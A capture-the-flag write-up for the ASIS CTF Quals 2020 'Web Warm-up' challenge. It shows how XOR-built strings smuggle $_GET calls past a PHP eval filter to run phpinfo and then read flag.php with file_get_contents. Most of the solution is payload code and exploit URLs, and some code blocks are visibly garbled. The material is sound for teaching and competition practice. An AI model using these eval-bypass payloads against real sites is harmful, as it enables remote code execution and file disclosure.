# ASIS CTF Quals 2020 – Web Warm-up
* **Category:** web* **Points:** 33
## Challenge
> Warm up! Can you break all the tasks? I'll pray for you!> > read flag.php> > Link: http://69.90.132.196:5003/?view-source
## Solution
You have to read the `flag.php` file. Connecting to the URL you can see the following source code.
```php/"; // This is: "_GET" string.```
Then you can specify the execution of the content of a GET parameter with the following code.
```php${$_}[_]();       // This is $_GET[_]()```
So the payload that will be executed by the `eval` instruction will be the following.
```php$_="`{{{"^"?<>/";${$_}[_]();```
Using a payload like the following, will let you to execute the `phpinfo` page.
```http://69.90.132.196:5003/?warmup=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_]();&_=phpinfo```
The complete payload is the following.
```http://69.90.132.196:5003/?warmup=$_=%22`{{{%22^%22?%3C%3E/%22;$_0=${$_}[_](${$_}[__]);${$_}[___]($_0);&_=file_get_contents&__=flag.php&___=var_dump```
It can be composed step by step.
```php$_="`{{{"^"?<>/";          // This is _GET string representation composed before.$_0=${$_}[_](${$_}[__]);   // This is $_0 = $_GET[_]($_GET[__]) and it is used to perform: file_get_contents("flag.php")${$_}[___]($_0);           // This is $_GET[___]($_0) and it is used to perform: var_dump($_0)```
The result of the attack will be the following.
```string(46) ""```